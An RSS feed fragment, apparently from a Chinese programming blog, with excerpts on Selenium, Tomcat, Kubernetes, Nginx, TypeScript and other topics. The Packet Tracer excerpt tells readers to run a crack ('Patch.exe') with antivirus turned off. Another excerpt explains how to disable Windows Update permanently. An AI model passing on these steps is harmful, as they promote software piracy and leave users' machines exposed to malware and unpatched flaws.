概念：通过元素的class_name属性来定位元素。&#xA;前置：所要定位的元素必须有class类名属性。&#xA;方法：driver.find_element_by_class_name(class属性值)&#xA;特点： class属性值可以有多个值&#xA;说明：如果标签有多个class值，使⽤任何⼀个都可以。如：c1&#xA;&amp;lt;p&amp;gt; &amp;lt;label for=&#34;emailA&#34;&amp;gt;电子邮件A：&amp;lt;/label&amp;gt; &amp;lt;input type=&#34;emailA&#34; placeholder=&#34;电子邮箱A&#34; class=&#34;c1 c2 c3&#34;&amp;gt;&#x9;&amp;lt;/p&amp;gt; # 定位元素,调用模拟操作方法 driver.</description>
    </item>
    <item>
      <title>Morris遍历</title>
      <link>https://bchobby.github.io/posts/336e55fce4dadef15b8a99f201392cb7/</link>
      <pubDate>Mon, 13 Jun 2022 19:11:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/336e55fce4dadef15b8a99f201392cb7/</guid>
      <description>morris遍历原理参考此处：Morris遍历_六甲横宝的博客-CSDN博客_morris遍历&#xA;下面给出用morris遍历实现二叉树的前中后序遍历代码：&#xA;前序：&#xA;vector&amp;lt;int&amp;gt; morrisPreOrder(TreeNode *root) { vector&amp;lt;int&amp;gt; res; TreeNode *cur = root, *mostRight = nullptr; while (cur) { mostRight = cur-&amp;gt;left; if (mostRight) { //左子树不为空，cur会到达两次 while (mostRight-&amp;gt;right&amp;amp;&amp;amp;mostRight-&amp;gt;right != cur) { mostRight = mostRight-&amp;gt;right; } if (mostRight-&amp;gt;right == nullptr) { mostRight-&amp;gt;right = cur; res.push_back(cur-&amp;gt;val); //第一次到的时候打印 cur = cur-&amp;gt;left; continue; } else { mostRight-&amp;gt;right = nullptr; //第二次到的时候不打印 } } else { //左子树为空，cur只会到达一次 res.push_back(cur-&amp;gt;val); } // cur没有左子树或其左子树最右节点的right指针指向cur，均要将cur右移 cur = cur-&amp;gt;right; } return res; } 中序：</description>
    </item>
    <item>
      <title>Canal实时同步死锁导致CPU飙升</title>
      <link>https://bchobby.github.io/posts/4c4463294ecdf670c0843a7c9cf5fb81/</link>
      <pubDate>Mon, 13 Jun 2022 18:01:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c4463294ecdf670c0843a7c9cf5fb81/</guid>
      <description>（1）top查看CPU占用情况，可以看到PID为17314的进程CPU占比为502。把CPU都吃完了，前端页面一直很卡&#xA;（2）定位具体线程：top -H -p PID 看下该进程下线程的情况，可见5201这几个吃了CPU&#xA;也可以:ps -mp 17314 -o THREAD,tid定位具体线程。下边拿5200或者5201线程来分析&#xA;（3）拿5201线程ps一下：ps -efL | grep 线程ID，定位到是canal的问题&#xA;（4）printf &#34;%x\n&#34; 线程ID: 将需要的线程ID转换为16进制格式&#xA;（5）jstack PID| grep 十六进制线程ID -A60: 打印进程ID的Java堆栈信息（A60 就是过滤到关键词之后(A:after)60行信息，不够可以自己再加）&#xA;打印的堆栈信息报死锁异常。上边又是报canal的进程吃的CPU，推断是不同环境Canal的任务之间导致死锁。我这里是停掉A服务的一些任务，B服务就正常了，因为B服务有些任务时从A导过来的。具体CPU吃紧情况，可以按照这个思路分析的，当然也可以使用一些堆栈跟踪工具。</description>
    </item>
    <item>
      <title>Tomcat的目录结构</title>
      <link>https://bchobby.github.io/posts/e52e55e1bc2f135230de59b568cb01df/</link>
      <pubDate>Mon, 13 Jun 2022 16:20:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e52e55e1bc2f135230de59b568cb01df/</guid>
      <description>Tomcat的目录结构 tomcat是什么目录结构及作用session持久化示例 tomcat是什么 Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，由Apache、Sun 和其他一些公司及个人共同开发而成。&#xA;Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。&#xA;Tomcat和IIS等Web服务器一样，具有处理HTML页面的功能，另外它还是一个Servlet和JSP容器，独立的Servlet容器是Tomcat的默认模式。不过，Tomcat处理静态HTML的能力不如Apache服务器。&#xA;除tomcat外，web应用服务器还有jetty，weblogic，websphere，undertow等。&#xA;注意：有时我们会将web叫做web服务器，实际上tomcat更准确的叫法是应用服务器。 web服务器主要是指专门来处理html，css，图片等静态资源的服务器，必要apache服务器。&#xA;目录结构及作用 tomcat目录结构的截图（tomcat-9.0.60）：&#xA;作用&#xA;backup&#xA;eclipse第一次启动tomcat时，会在下面新建一个backup文件夹，但是出于安全方面考虑，系统默认不让用户新建文件夹（在tomcat文件夹右击，选择属性 --&amp;gt; 安全，选择当前系统用户，点击编辑，选择完全控制，就可以新建了）&#xA;bin&#xA;bin目录主要用来存放tomcat命令的目录，里面主要有两种类型的文件，一种是以.bat为扩展名的文件，一类是以.sh为扩展名的文件。其中.bat的文件是在windows平台的命令，而.sh则是在linux平台的文件。&#xA;该目录主要的文件有以下几个：&#xA;setclasspath 用于设置Java环境变量，如JAVA_HOME，JRE_HOME等&#xA;catalina该文件也是用来配置环境的，如CATALINA_HOME，及tomcat的安装路径，我们可以在此目录设置Java的启动参数，如最大最小堆空间大小；&#xA;例如：JAVA_OPTS=“$JAVA_OPTS -Xms256m -Xmx512m -Xmn128m -XX:PermSize=128m -XX:MaxPermSize=512m”&#xA;startup用来给启动tomcat，当双击startup后，tomcat启动，读取catalina脚本配置启动环境，catalina又会调用setclasspath脚本，用来设置jdk需要的环境变量，如果系统没有定义JAVA_HOME环境变量，则会报错退出&#xA;shutdown用于停止tomcat服务&#xA;conf&#xA;该目录主要用来存放tomcat的配置文件， 重要的配置文件如下：&#xA;server.xml 用于配置端口号，虚拟主机，默认加载项目，请求编码等等，是tomcat中最常使用的配置文件&#xA;web.xml 为所有的部署在该tomcat下的web应用通用的配置，与每个web应用的web.xml配合使用。&#xA;例如：&#xA;DefaultServlet，就算系统中没有配置任何的servlet，tomcat依然可以处理html，js，css等静态资源的请求，就是这个servelt起的作用；&#xA;JspServlet，当请求jsp页面时，则会用到这个servlet。&#xA;session过期时间配置session-timeout参数，也是在这个web.xml中配置的。&#xA;catalina.policy 这个是tomcat安全相关的配置文件，主要使用安全策略文件可以在tomcat启动是附上 -security&#xA;catalina.properties 安全配置，类加载设置，不需扫描的类，字符缓存等配置&#xA;context.xml 所有在tomcat中发布的应用都会使用的公用配置，例如：发布的web应用的描述文件的位置及名称，及session持久化配置等。session持久化示例请参考第三部分的示例&#xA;tomcat-users.xml&#xA;tomcat的角色(授权用户)配置文件，用于访问tomcat管理应用程序时的安全性设置，用server.xml中引用的默认的用户数据库域(UserDatabase Realm)使用它，所有的凭据都是默认被注释的&#xA;tomcat-users.xsd 定义了 tomcat-users.xml 所使用到的标签，即tomcat-user.xml 的结构定义文件&#xA;lib&#xA;所有部署在tomcat中的web应用公用的jar包&#xA;logs&#xA;用于保存tomcat运行时的日志数据&#xA;catalina.{yyyy-MM-dd}.log tomcat自己的运行日志localhost.</description>
    </item>
    <item>
      <title>五大方法 永久彻底关闭WIN10系统自动更新【已验证有效】</title>
      <link>https://bchobby.github.io/posts/f159020242dc195537ceebe610fefbab/</link>
      <pubDate>Mon, 13 Jun 2022 15:40:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f159020242dc195537ceebe610fefbab/</guid>
      <description>WIN10永久彻底关闭自动更新方法步骤： 一、禁用Windows Update服务二、在组策略里关闭Win10自动更新相关服务三、禁用任务计划里边的Win10自动更新四、在注册表中关闭Win10自动更新五、将网络连接设为计费模式六、若用户的Win10本身缺很多原本应该自带的东西，欢迎大家使用系统之家装机大师来重装原版的Win10系统。 最近有很多朋友问我Win10如何永久关闭自动更新，每次打开电脑都是一个大大的笑脸让我更新系统，但是又不能取消更新很是烦恼。在这里小编用五种方法教你永久关闭win10自动更新问题。 **五大方法 永久彻底关闭WIN10系统自动更新【已验证有效】 关注系统之家学习更多电脑知识呀！** 电脑的更新和手机的更新其实是一样的，就更新本身而言是一件好事，但是随着系统版本的更新，对硬件的要求就越高，我们的硬件不可能经常更新，所以很多人调侃：系统的更新就是解决系统过度流畅的“bug”。那用户的win10系统自动更新可谓是非常顽固，很多用户在网上试了各种关闭win10自动更新的方法，刚开始看着好像是关闭更新了，可没过多久系统就又开始自动更新了。今天系统之家就来教大家如何彻底关闭win10自动更新，该方法亲测有效。好了，话不多说，让我们进入正题。Win10系统下载_系统之家&#xA;Win10彻底关闭自动更新方法步骤：&#xA;由于win10自动更新非常顽固，所以我们要从多个地方下手才能永久关闭其自动更新，别怕麻烦，跟着下面的步骤一步步操作。&#xA;一、禁用Windows Update服务 1、同时按下键盘 Win + R，打开运行对话框，然后输入命令 services.msc ，点击下方的“确定”打开服务，如下图所示。&#xA;2、找到 Windows Update 这一项，并双击打开，如图所示。&#xA;3、双击打开它，点击“停止”，把启动类型选为“禁用”，最后点击应用，如下图。&#xA;4、接下再切换到“恢复”选项，将默认的“重新启动服务”改为“无操作”，然后点击“应用”“确定”。&#xA;二、在组策略里关闭Win10自动更新相关服务 1、同时按下Win + R 组合快捷键打开运行命令操作框，然后输入“gpedit.msc”，点击确定，如下图。&#xA;2、在组策略编辑器中，依次展开 计算机配置 -》 管理模板 -》 Windows组件 -》 Windows更新。&#xA;3、然后在右侧“配置自动更新”设置中，将其设置为“已禁用”并点击下方的“应用”然后“确定”，如图所示。&#xA;4、之后还需要再找到“删除使用所有Windows更新功能的访问权限”，选择已启用，完成设置后，点击“应用”“确定”，如图所示。&#xA;5.找到允许自动更新从metered 链接上自动下载更新，并设置为禁用。&#xA;三、禁用任务计划里边的Win10自动更新 1、同时按下 Win + R 组合快捷键打开““运行”窗口，然后输入“taskschd.msc”，并点击下方的“确定”打开任务计划程序，如图所示。&#xA;2、在任务计划程序的设置界面，依次展开 任务计划程序库 -》 Microsoft -》 Windows -》 WindowsUpdate，把里面的项目都设置为 ［ 禁用 ］ 就可以了。（我这里边只有一个任务，你的电脑里可能会有2个或者更多，全部禁用就行了）&#xA;四、在注册表中关闭Win10自动更新 1、同时按下 Win + R 组合快捷键，打开运行对话框，然后输入命名 regedit，然后点击下方的「 确定 」打开注册表，如下图所示。&#xA;2、在注册表设置中，找到并定位到 ［HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsoSvc］ （包括HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc，操作完全一致）。然后在右侧找到“Start”键。</description>
    </item>
    <item>
      <title>jmeter测试报告解析</title>
      <link>https://bchobby.github.io/posts/544ff557e968c7096d00ef6fb3d1c6cc/</link>
      <pubDate>Mon, 13 Jun 2022 14:23:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/544ff557e968c7096d00ef6fb3d1c6cc/</guid>
      <description>html报告主要分为两个部分：baseboard与charts&#xA;一、Baseboard（基本报告情况）&#xA;1、Test and Report information（测试报告与信息）&#xA;2、APDEX (Application Performance Index)（应用性能信息）&#xA;3、Statistics（统计）&#xA;4、Error（请求异常）&#xA;二、Charts（详细报告）&#xA;Over time（每时运行时信息）：&#xA;1、response time over time（响应时长）：&#xA;2、Response Time Percentiles Over Time (successful responses)（90%、95%、99%线程在各个时间段的响应时间）：跟聚合报告里面的90、95、99%差不多&#xA;3、Active threads over time（各个线程每时运行情况）：线程多的时候看比较有意义&#xA;4、bytes throughout over time（每时接收与发送字节的情况）&#xA;5、latencies over time（每时请求的延迟时长）：如图一开始延迟很高，后面有所下降&#xA;6、connect time over time（每时连接需要的时长）：如图一开始请求并发高，连接需要的时间很高&#xA;Througput（吞吐量）&#xA;1、hits per second(每时发起的请求数)&#xA;2、codes per second（各个code每时响应数量）&#xA;3、teansactions per second（每时事物响应数目）&#xA;4、total transations per second（总每时事务请求曲线）&#xA;5、response time vs request（每时各个请求响应类型的平均响应时间）&#xA;6、latency vs request（各个请求类型的每时延迟时间）&#xA;Response time（响应时间）&#xA;1、Response time percentiles（响应时间百分比分布）&#xA;2、response time overview（响应时间条状对比图）</description>
    </item>
    <item>
      <title>Packet Tracer安装包及安装教程（8.0版本）</title>
      <link>https://bchobby.github.io/posts/8b42a1433164068bc0350410b973a321/</link>
      <pubDate>Mon, 13 Jun 2022 13:50:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b42a1433164068bc0350410b973a321/</guid>
      <description>Packet Tracer安装包下载链接： 链接：https://pan.baidu.com/s/19BbCZzSxukKKdsdaqw7dHw 提取码：6666&#xA;（若果链接失效，可在评论区留言。）&#xA;安装步骤 1、解压缩文件，得到 cisco packet tracer8.0 安装包。&#xA;2、首先双击运行&#34;PacketTracer800_Build212_64bit_setup-signed.exe&#34;程序，接受安装许可协议。&#xA;3、可以按默认目录进行安装，也可以指定文件夹自行安装。选择好安装路径后，继续点“next”直到安装界面即可。&#xA;4、软件正在安装中，等待一会。&#xA;5、直到安装完成，取消勾选，先不要运行软件；&#xA;6、打开 Crack 文件夹，右击鼠标以管理员身份运行&#34;Patch.exe&#34;程序，点击 Patch进行激活。&#xA;注意：&#xA;（1）激活前要关闭杀毒软件，避免误以为不安全，导致激活不成功。（import ！！！）&#xA;如果安装在默认C盘路径，直接进行激活即可。&#xA;（2）如果安装路径不是默认的C盘路径，点击Patch键后，点击 是，然后根据相应安装目录进入Cisco Packet Tracer 8.0\bin文件夹下，并选择“PacketTracer.exe”文件，点击确定，即可激活。&#xA;例如：&#xA;安装在D盘的路径 D:\ Cisco_jsjwl_sy_model\ Cisco Packet Tracer 8.0\ bin&#xA;7、激活成功后可看到相应提示。</description>
    </item>
    <item>
      <title>ffmpeg h264 h265 视频格式操作</title>
      <link>https://bchobby.github.io/posts/d70ebc6a482dc32773e94c5a00e94ee1/</link>
      <pubDate>Mon, 13 Jun 2022 11:57:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d70ebc6a482dc32773e94c5a00e94ee1/</guid>
      <description>01.01 基本工具 H265 视频确认工具&#xA;ffmpeg下载:&#xA;参考: Win10系统如何安装64位ffmpeg&#xA;从 https://github.com/BtbN/FFmpeg-Builds/releases 下载win10 版本的static 版本的 ffmpeg 发布版本。&#xA;解压后把 ffmpeg.exe 的目录 ffmpeg-n5.0-latest-win64-gpl-5.0\bin 加入 PATH 环境变量。&#xA;注意:&#xA;A:文件名含 shared 是动态库版本，为了测试方便，尽量使用静态库版本，就是不带 shared 的。&#xA;B:gpl版本支持h264/h265，lgpl版本不支持h264/h265。&#xA;cmd 或者 Windows Terminal 中运行 ffmpeg -version 可以查看版本信息。&#xA;01.02 ffmpeg录屏 :: 1. 查看FFmpeg版本是否支持dshow设备 ffmpeg -formats | findstr dshow :: 2 列举该计算机下所有视频捕捉设备（包括虚拟设备） ffmpeg -list_devices true -f dshow -i dummy :: 3 查看设备支持选项 ffmpeg -list_options true -f dshow -i video=&#34;Integrated Camera&#34; :: 4 直接播放笔记本电脑摄像头数据 ffplay -f dshow video=&#34;</description>
    </item>
    <item>
      <title>Win10找不到打印机型号怎么办？Win10找不到打印机型号的解决方法</title>
      <link>https://bchobby.github.io/posts/382baeabab1dba359a2f54ca4d2232d6/</link>
      <pubDate>Mon, 13 Jun 2022 11:02:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/382baeabab1dba359a2f54ca4d2232d6/</guid>
      <description>打印机是日常办公中必不可少的一个工具，不过想要使用打印机的话是需要连接电脑的，但有小伙伴反馈自己Win10系统的电脑在添加打印机的时候找不到对应的型号，那么遇到这种情况应该怎么办呢？下面就和小编一起来看看解决方法吧。&#xA;详细&#xA;打印机是日常办公中必不可少的一个工具，不过想要使用打印机的话是需要连接电脑的，但有小伙伴反馈自己Win10系统的电脑在添加打印机的时候找不到对应的型号，那么遇到这种情况应该怎么办呢？下面就和小编一起来看看解决方法吧。&#xA;Win10找不到打印机型号的解决方法&#xA;1、按下win键+R键，输入services.msc按下回车。&#xA;2、点击管理——服务——找到print spooler。&#xA;3、将启动类型改为自动最后点击确定就好啦。&#xA;4、如果还是搜不到打印机的话，我们打开浏览器搜索下载FlashPaper。&#xA;5、安装成功后，打开设备和打印机界面，点击添加打印机添加虚拟打印机。&#xA;6、选择端口为Flashpaper2printerport，打印机名称设置为macromedia flashpaper就好啦。&#xA;可参考&#xA;1、按下win键+R键，输入services.msc按下回车。&#xA;2、点击管理——服务——找到print spooler。&#xA;3、将启动类型改为自动最后点击确定就好啦。&#xA;4、如果还是搜不到打印机的话，我们打开浏览器搜索下载FlashPaper。&#xA;正在上传…重新上传取消&#xA;5、安装成功后，打开设备和打印机界面，点击添加打印机添加虚拟打印机。&#xA;6、选择端口为Flashpaper2printerport，打印机名称设置为macromedia flashpaper就好啦。</description>
    </item>
    <item>
      <title>Ubuntu18.04 安装配置Nginx、Https、PHP</title>
      <link>https://bchobby.github.io/posts/1332521bb1a1b848d886be2d390016b2/</link>
      <pubDate>Mon, 13 Jun 2022 10:18:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1332521bb1a1b848d886be2d390016b2/</guid>
      <description>Ubuntu18.04 安装配置Nginx、Https、PHP 前言安装步骤安装 Nginx更新系统软件包安装验证Nginx命令 配置HTTPS创建证书目录上传证书修改Nginx设置，使其支持HTTPS验证 配置PHP环境为 PHP 8.1 添加 PPA安装PHP 8.1 FPM验证安装 PHP 8.1 扩展配置 PHP 8.1 Nginx配置PHP 8.1修改配置验证重启服务器测试 参考文档 前言 朋友趁着618入手一台轻量应用服务器，系统是Ubuntu18.04，需要搭建一个个人网站，本来想帮他装一个我最喜欢的LAMP（Linux + Apache + MySQL +PHP），但是灵机一动，不如尝试一下装个LNMP（Linux + Nginx + MySQL + PHP）试试。&#xA;安装步骤 安装 Nginx 更新系统软件包 执行 apt-get update以确保访问最新的软件包。&#xA;安装 最后的-y表示全部同意，不需要在后续的安装过程中再输入Y&#xA;sudo apt-get install nginx -y 验证 验证正在运行的 Nginx 服务器&#xA;sudo systemctl status nginx 若出现以下内容则表示服务已启用&#xA;nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.</description>
    </item>
    <item>
      <title>SpringCloud OpenFeign源码详细解析</title>
      <link>https://bchobby.github.io/posts/19f983eba429f10d52e2e69f4bb4bc45/</link>
      <pubDate>Sun, 12 Jun 2022 23:24:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19f983eba429f10d52e2e69f4bb4bc45/</guid>
      <description>简介 OpenFeign 是Spring Cloud中的一个组件，经常用来在项目中进行Http调用其他服务的接口，在于对服务端接口的绑定。&#xA;使用方式是比较简单的，让我们来探究一下使用原理吧！&#xA;阅读条件：&#xA;要有Spring源码的基础使用过原生的FeignSpringBoot源码基础 源码解析入口：@EnableFeignClients&#xA;@Retention(RetentionPolicy.RUNTIME) @Target(ElementType.TYPE) @Documented @Import(FeignClientsRegistrar.class) public @interface EnableFeignClients { String[] basePackages() default {}; Class&amp;lt;?&amp;gt;[] basePackageClasses() default {}; Class&amp;lt;?&amp;gt;[] defaultConfiguration() default {}; Class&amp;lt;?&amp;gt;[] clients() default {}; } 注解里面的参数配置，都可以在官网找到说明，这里就不介绍了。&#xA;点进去我们可以在注解上看到这样 一段代码：&#xA;@Import(FeignClientsRegistrar.class)&#xA;这个是往Spring容器里面注入一个类。&#xA;核心在于 FeignClientsRegistrar 实现了 ImportBeanDefinitionRegistrar。&#xA;ImportBeanDefinitionRegistrar是Spring中的一个扩展点，实现该接口的方法，我们可以动态的往容器里面注入其他类的信息，然后走Spring的生命周期，创建出Bean。&#xA;要说明的一点实现了ImportBeanDefinitionRegistrar的类，该实现类的执行时机在于Spring对配置类的解析阶段执行的，熟悉Spring源码的同学都知道，Spring是先扫描合格的配置类，从配置类中获取要创建Bean的类信息，注册成BeanDefinition简称bd，最后在统一进行实例化。&#xA;Spring在解析配置类的时候，会判断该类是否实现了ImportBeanDefinitionRegistrar，是的话就创建对象，执行接口方法，这样也就会执行我们写的自定义逻辑，往容器里面注入bd。&#xA;我们直接找到 FeignClientsRegistrar 实现的注入bd方法:&#xA;@Override public void registerBeanDefinitions(AnnotationMetadata metadata, BeanDefinitionRegistry registry) { // 对 @EnableFeignClients 解析 registerDefaultConfiguration(metadata, registry); // 对 @FeignClient 解析 registerFeignClients(metadata, registry); } 我们直接看对 @FeignClient 的解析。</description>
    </item>
    <item>
      <title>k8s面试题</title>
      <link>https://bchobby.github.io/posts/b5b81486e0fce0d0b017b7f46a78cb58/</link>
      <pubDate>Sun, 12 Jun 2022 22:19:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5b81486e0fce0d0b017b7f46a78cb58/</guid>
      <description>目录&#xA;目录&#xA;1.K8S介绍&#xA;2.让数据持久化&#xA;3.K8S存储方案&#xA;4.K8S的一些组件和功能&#xA;5.你知道哪些K8S方面的资源&#xA;6.K8S对资源管理对象的监控&#xA;7.K8S监控使用什么 有哪些组件&#xA;8.Prometheus 的监控体系&#xA;9.pod健康状态的检查和探针的区别&#xA;10.集群内、外部的pod怎么访问&#xA;11.ingress数据链路怎么走向&#xA;12.pod重启策略&#xA;13.POD状态&#xA;14.POD里有哪些东西&#xA;不同node节点pod通讯的过程能讲一下嘛&#xA;15.简述Kubernetes 创建一个Pod的主要流程?&#xA;16.pod的能达到多少&#xA;17.node资源限制&#xA;18.用户访问服务的流程&#xA;19.k8s添加新的node节点&#xA;20.K8S集群网络 21.kube-proxy中使用ipvs与iptables的比较&#xA;22.压缩镜像&#xA;23.namespace怎么使用 namespace之间怎么协做&#xA;24.mq做过哪些运维工作&#xA;25.一般怎么部署mq&#xA;26.ELK日志收集是怎样的链路&#xA;27.日志有哪些操作&#xA;Calico插件你们了解过么 里面有哪些模式&#xA;1.K8S介绍 Kubernetes是一个轻便的和可扩展的开源平台，用于管理容器化应用和服务。通过Kubernetes能够进行应用的自动化部署和扩缩容。在Kubernetes中，会将组成应用的容器组合成一个逻辑单元以更易管理和发现。Kubernetes积累了作为Google生产环境运行工作负载15年的经验，并吸收了来自于社区的最佳想法和实践。Kubernetes经过这几年的快速发展，形成了一个大的生态环境，Google在2014年将Kubernetes作为开源项目。Kubernetes的关键特性包括：&#xA;自动化装箱：在不牺牲可用性的条件下，基于容器对资源的要求和约束自动部署容器。同时，为了提高利用率和节省更多资源，将关键和最佳工作量结合在一起。自愈能力：当容器失败时，会对容器进行重启；当所部署的Node节点有问题时，会对容器进行重新部署和重新调度；当容器未通过监控检查时，会关闭此容器；直到容器正常运行时，才会对外提供服务。水平扩容：通过简单的命令、用户界面或基于CPU的使用情况，能够对应用进行扩容和缩容。服务发现和负载均衡：开发者不需要使用额外的服务发现机制，就能够基于Kubernetes进行服务发现和负载均衡。自动发布和回滚：Kubernetes能够程序化的发布应用和相关的配置。如果发布有问题，Kubernetes将能够回归发生的变更。保密和配置管理：在不需要重新构建镜像的情况下，可以部署和更新保密和应用配置。存储编排：自动挂接存储系统，这些存储系统可以来自于本地、公共云提供商（例如：GCP和AWS）、网络存储(例如：NFS、iSCSI、Gluster、Ceph、Cinder和Floker等)。 2.让数据持久化 利用NFS-[pv/pvc]实现k8s持久化存储&#xA;上面创建了一个pv 挂在了所有的nginx日志目录是有问题的, nginx日志目录应该单独存储,单独存储nginx日志设置:可手动创建多个pvc进行挂在或者进行 volumeClaimTemplates: 自动创建pvc进行挂在。&#xA;3.K8S存储方案 pv与pvc&#xA;4.K8S的一些组件和功能 etcd:保存了整个集群的状态&#xA;APIServer:提供了资源操作的唯一入口，并提供认证、授权、访问控制、API注册和发现等机制&#xA;controller-manager：负责维护集群核心对象的状态，比如故障检测、自动扩展、滚动更新&#xA;scheduler：负责资源的调度，按照预定的调度策略将Pod调度到相应的机器上&#xA;kubelet：负责维持容器的生命周期，同时也负责Volume和网络的管理&#xA;kube-proxy：负责为Server提供cluster内部的服务发现和负载均衡&#xA;5.你知道哪些K8S方面的资源 1、创建pod资源&#xA;2、ReplicationController资源&#xA;3、deployment资源&#xA;4、service资源&#xA;6.K8S对资源管理对象的监控 metrics-server是集群核心监控数据的聚合器，metrics-server提供了/apis/metrics.k8s.io接口，通过这个接口，用户就可以调用集群的资源使用情况。集群中的节点上的kubelet都内置了cAdvisor服务（专门用于采集集群节点上所有资源情况）。只是cAdvisor缺少了merics-server，merics-server能提供一个统一的api接口。该api接口通过使用k8s中的kube-aggregator代理后端来开启一个访问入口。这个代理程序是集群自动开启的。&#xA;Metrics-Server是集群核心监控数据的聚合器，用来替换之前的heapster。 容器相关的 Metrics 主要来自于 kubelet 内置的 cAdvisor 服务，有了Metrics-Server之后，用户就可以通过标准的 Kubernetes API 来访问到这些监控数据。Metrics API 只可以查询当前的度量数据，并不保存历史数据。Metrics API URI 为 /apis/metrics.</description>
    </item>
    <item>
      <title>TypeScript简介及语言特性</title>
      <link>https://bchobby.github.io/posts/3684b4ba62a8ad464b5d748b6fc90f0d/</link>
      <pubDate>Sun, 12 Jun 2022 21:37:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3684b4ba62a8ad464b5d748b6fc90f0d/</guid>
      <description>简介 TypeScript对我们来说可能有点儿陌生，我们可以先简单的了解下JavaScript，它是一种具有函数优先的轻量级，解释型或即时编译型的编程语言，是数据类型可以被忽略的语言，一个变量可以赋不同类型的值，俗称弱类型语言。TypeScript是一种强类型语言。&#xA;// JavaScript的demo案例 var a = &#34;abc&#34;; a = 123; console.log(`a: ${a}`); // a: 123 TypeScript的语言特性 与现存的JavaScript代码有非常高的兼容性。TypeScript是JavaScript的超集，意味着任何合法的JavaScript程序都是合法的TypeScript程序（很少有例外）。TypeScript是一种在编译期进行静态类型分析的强类型的程序语言。TypeScript中加入了基于类（Class）的对象、接口和模块，这些特性可以帮助我们以更好的方式构建代码，可以让代码更具可维护性与扩展性。成为跨平台的开发工具。微软使用Apache协议开源了TypeScript，并且它可以在所有主流的操作系统上安装和执行。 强类型程序语言：通过向JavaScript增加可选的静态类型声明来把JavaScript变成强类型程序语言。可选的静态类型声明可约束函数、变量、属性等程序实体，这样编译器和相应的开发工具在开发过程中可以提供更好的正确性验证和帮助功能；能让程序员对自己和团队其他开发人员在代码中清晰地表达他的意图；它的类型检测在编译期进行且没有运行时开销。&#xA;想要了解TypeScript的组件介绍及环境搭建，请查看这里&#xA;基本类型 基本类型有boolean、number、string、array、void和所有自定义的enum类型。所有这些类型在TypeScript中，都有一个唯一的顶层的Any Type类型的字类型，any关键字代表这种类型。&#xA;类型Demo描述booleanlet isDone: boolean = true;boolean类型只可能是两种值。它们分别是true和false。numberconst PI: number = 3.1415926;与JavaScript一样，所有的数字在TypeScript中都是浮点数。stringlet username: string = ‘summer’;&#xA;let password: string = “summer”;在代码中使用字符串是将它们放在单引号或者双引号中间。arrayconst list: number[] = [1, 2, 3];&#xA;const list : Array = [1, 2, 3];array类型的声明有两种写法。&#xA;第一种在数组元素的类型后面跟着[];&#xA;第二种是使用泛型数组类型Arrayenumenum TypeEnum {&#xA;Success= 0,&#xA;Error = 1,&#xA;Warning = 2&#xA;}&#xA;let type = TypeEnum.</description>
    </item>
    <item>
      <title>IDEA插件开发实战</title>
      <link>https://bchobby.github.io/posts/1cc013a277b2cdcdd89eead3313608f3/</link>
      <pubDate>Sun, 12 Jun 2022 20:01:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1cc013a277b2cdcdd89eead3313608f3/</guid>
      <description>1. 背景 插件体系是IDEA的精髓，插件市场里拥有无数开发者提交的插件，这让IDEA拥有了成长的能力。下面我通过一个例子，介绍插件创建、调试和发布的完整过程。&#xA;2. 开发步骤 2.1 创建工程 官方推荐2种方式来创建插件工程，一种是基于Github的模板代码，一种是基于Gradle手动配置。我推荐使用Github模板的方式，插件工程clone下来就可以直接执行，对新人比较友好。&#xA;2.2.1 模板代码&#xA;打开模板的Github地址：https://github.com/JetBrains/intellij-platform-plugin-template。&#xA;点击“Use this template”，将项目fork到自己的仓库里，或者直接下载模板代码。 2.2.2 Gradle方式&#xA;在new project的时候，选择Gradle-&amp;gt;IntelliJ Platform Plugin&#xA;2.2 开发插件 IDEA里有一个Intention action（代码推测）功能，快捷键是shift+enter。我们尝试新增一种代码推测，在输入类名后，通过推测自动生成new语句。例如，输入“User”，生成“User user = new User();”。&#xA;2.2.1 编写代码（Kotlin）&#xA;要新增Intention action功能，就要实现IntentionAction接口，实际代码里是用PsiElementBaseIntentionAction这个抽象类，它已经继承了IntentionAction。功能代码如下，IntentionAction接口里的核心方法是isAvailable()和invoke()方法。isAvailable()是在敲下shift+enter时，判断当前action是否满足执行条件；invoke()是选择aciton后，需要执行的逻辑。&#xA;class NewObjectGenerator : PsiElementBaseIntentionAction() { override fun isAvailable(project: Project, editor: Editor, element: PsiElement): Boolean { // 格式User return element is PsiIdentifier &amp;amp;&amp;amp; element.parent is PsiJavaCodeReferenceElement } @Throws(IncorrectOperationException::class) override fun invoke(project: Project, editor: Editor, element: PsiElement) { val typeName = element.</description>
    </item>
    <item>
      <title>【Java】三种方式快速统计代码运行时长</title>
      <link>https://bchobby.github.io/posts/7d2c93efe70fecf44023d958f418b6c4/</link>
      <pubDate>Sun, 12 Jun 2022 10:33:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d2c93efe70fecf44023d958f418b6c4/</guid>
